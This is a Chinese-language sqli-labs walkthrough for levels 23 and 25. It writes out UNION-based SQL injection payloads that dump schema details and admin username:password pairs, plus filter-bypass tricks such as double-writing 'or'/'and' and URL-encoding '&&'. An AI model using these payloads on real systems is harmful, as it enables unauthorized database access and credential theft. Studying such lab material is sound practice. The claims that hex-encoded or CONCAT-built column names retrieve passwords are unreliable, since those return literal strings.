目录
【sql靶场】第23、25,25a关过滤绕过保姆级教程
第二十三关
从本关开始又是get传参,并且还有了对某些字符或字段的过滤
老样子,先测试闭合方式
单引号

双引号

然后测试单引号闭合#

失败,换一个--+

失败,再换一个and '1'=1'

成功,猜测可能是对注释符进行了过滤
查看后端进行验证

结果确实在里面发现注释符过滤
回显测试
1个字段

2个字段

3个字段

成功无报错,且回显为1,2
进行注入
数据库名字
?id=-1' union select database(),user(),3 and '1'='1

结果只有一个字段name会进行回显
进行测试一样,我曾查找原因但是找不到,其实无所谓,我们利用name字段的回显一样可以进行注入爆出信息
该数据库的所有表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1

管理员用户表的所有字段
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 and '1'='1

知道表名与字段名后最终就可以查询到管理员账号和密码
?id=-1' union select 1,(select group_concat(concat_ws(0x3a,username,password)) from users),3 and '1'='1

第二十五关

测试闭合-单引号
单引号闭合测试-成功且注释符正常
1.爆出数据库
进行数据库爆出
?id=-1' union select 1,database(),3 --+

符号的 URL 编码问题
符号的特殊性: 在 URL 中表示"片段标识符"(Fragment Identifier),浏览器会将其后的内容截断且不会发送到服务器。 当输入 ?id=1' #
时,实际发送到服务器的请求是:
?id=1'
最终 SQL 语句为:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
由于未闭合的单引号导致语法错误。
强制使用 #
的替代方法
若需使用 #
,需将其 URL 编码为 %23
2.爆出表名
该数据库的所有表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

报错了没有infmation_schema------但是并没有输入infmation_schema,但是可以发现infmation_schema与information_schema就相差一个or有没有可能过滤了or,那么我们进行尝试各种方法进行绕过看可不可以绕过
方法一
双写
?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3 --+

成功
方法二
十六进制编码
?id=-1' union select 1,(select group_concat(table_name) from 0x696E666F726D6174696F6E5F736368656D612E7461626C6573 where table_schema='security'),3 --+

失败
方法三
反引号包裹字段名
?id=-1' union select 1,(select group_concat(table_name) from `information_schema.tables` where table_schema='security'),3 --+
失败
3.爆出字段
?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security' and table_name='users'),3--+

报错位置在table_name='users'),3--+,有没有可能是and也被过滤了
方法一
逻辑符号替代
?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security' && table_name='users'),3 --+

失败
去后端进行调试发现变成了
"SELECT * FROM users WHERE id='-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' ' LIMIT 0,1"
&&
需配合 URL 编码(如 %26%26
)使用,否则可能被 HTTP 协议解析为普通字符或参数分隔符
?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security' %26%26 table_name='users'),3 --+

成功
方法二
双写
?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security' aandnd table_name='users'),3--+

成功
方法三
十六进制
?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security' 0x414e44 table_name='users'),3--+

失败-----将AND写成0x414e44,希望数据库解析时将其视为AND。MySQL中确实可以使用十六进制表示,但通常用于字符串或数值,而不是关键字,直接将0x414e44作为操作符使用可能无效,因为数据库不会将十六进制值解析为关键字
方法四
注释插入干扰
?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security' a/*!*/nd table_name='users'),3--+

失败-----语句中的 a/*!*/nd
意图绕过 AND
过滤,但内联注释 /*!*/
实际执行时会被 MySQL 忽略,导致解析为 a nd
(中间含空格),破坏 AND
关键词的完整性
方法五
大小写
?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security' AnD table_name='users'),3--+

失败-----AnD被过滤了
4.爆出账号密码
知道表名与字段名后最终就可以查询到管理员账号和密码
?id=-1' union select 1,(select group_concat(concat_ws(0x3a,username,password)) from users),3 --+

报错----密码字段的or被过滤了
方法一
双写
?id=-1' union select 1,(select group_concat(concat_ws(0x3a,username,passwoorrd)) from users),3 --+

成功
方法二
十六进制编码字段名:将字段名转换为十六进制值,例如,password的十六进制是0x70617373776F7264。在查询中直接使用十六进制代替字段名,可能绕过字符串匹配的过滤。
?id=-1' union select 1,(select group_concat(concat_ws(0x3a,username,0x70617373776F7264)) from users),3 --+

成功
方法三
字符串函数拼接:使用CONCAT或SUBSTRING函数动态拼接字段名。例如,CONCAT('passw','ord') 可以生成"password",从而避免直接使用含"or"的字段名。
?id=-1' union select 1,(select group_concat(concat_ws(0x3a,username,CONCAT('passw','ord'))) from users),3 --+

成功
方法四
注释插入干扰:在字段名的敏感部分插入注释,例如,pass/!/word,这样实际执行时注释会被忽略,但过滤机制可能不会识别到被注释分隔的关键字。
?id=-1' union select 1,(select group_concat(concat_ws(0x3a,username,pass/*!*/word)) from users),3 --+

失败--------若在 password
字段名中使用 pass/*!*/word
,可能导致 concat_ws
函数参数解析异常(如字段名被截断为 pass
和 word
),引发语法错误
方法五
反引号包裹字段名:在MySQL中,使用反引号可以强制将字段名识别为普通标识符,而不是关键字。例如,SELECT
passwordFROM users;
这里的反引号包裹可以绕过过滤,因为过滤可能不会检查被反引号包裹的内容是否包含关键字。
?id=-1' union select 1,(select group_concat(concat_ws(0x3a,username,`password`)) from users),3 --+

失败------依旧被过滤了